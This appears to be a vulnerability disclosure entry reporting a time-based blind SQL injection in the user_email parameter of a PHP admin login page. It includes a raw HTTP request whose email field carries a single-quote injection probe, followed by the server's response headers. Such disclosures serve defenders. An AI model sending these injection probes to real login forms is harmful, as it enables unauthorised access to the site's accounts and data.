Login V18

## Description: The user_email parameter appears to be vulnerable to SQL injection attacks Time-based Blind. A single quote was submitted in the user_email parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. **Recent assessments:** **nu11secur1ty** at October 18, 2021 2:08pm UTC reported: ## [CVE-nu11-101821]() ## [Vendor]() ![](https://raw.githubusercontent.com/nu11secur1ty/CVE-nu11secur1ty/main/vendors/janobe/CVE-nu11-101821/docs/Screenshot%202021-10-18%20140507.png) ## MySQL Request-1: POST /caiwl/admin/login.php HTTP/1.1 Host: 192.168.1.4 Origin: http://192.168.1.4 Cookie: PHPSESSID=8qen88airh7u0ai06ijhk96a21 Upgrade-Insecure-Requests: 1 Referer: http://192.168.1.4/caiwl/admin/login.php Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Length: 90 user_email=IlZWXHcK@nu11secur1tycollaborator.net'&user_pass=m2G%21b5m%21D8&btnLogin=%C2%9E%C3%A9e ## MySQL Response-1: Response 1 HTTP/1.1 200 OK Date: Mon, 18 Oct 2021 07:42:37 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24 X-Powered-By: PHP/7.4.24 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 7099 Connection: close Content-Type: text/html; charset=UTF-8 Login V18 Login V18 Login V18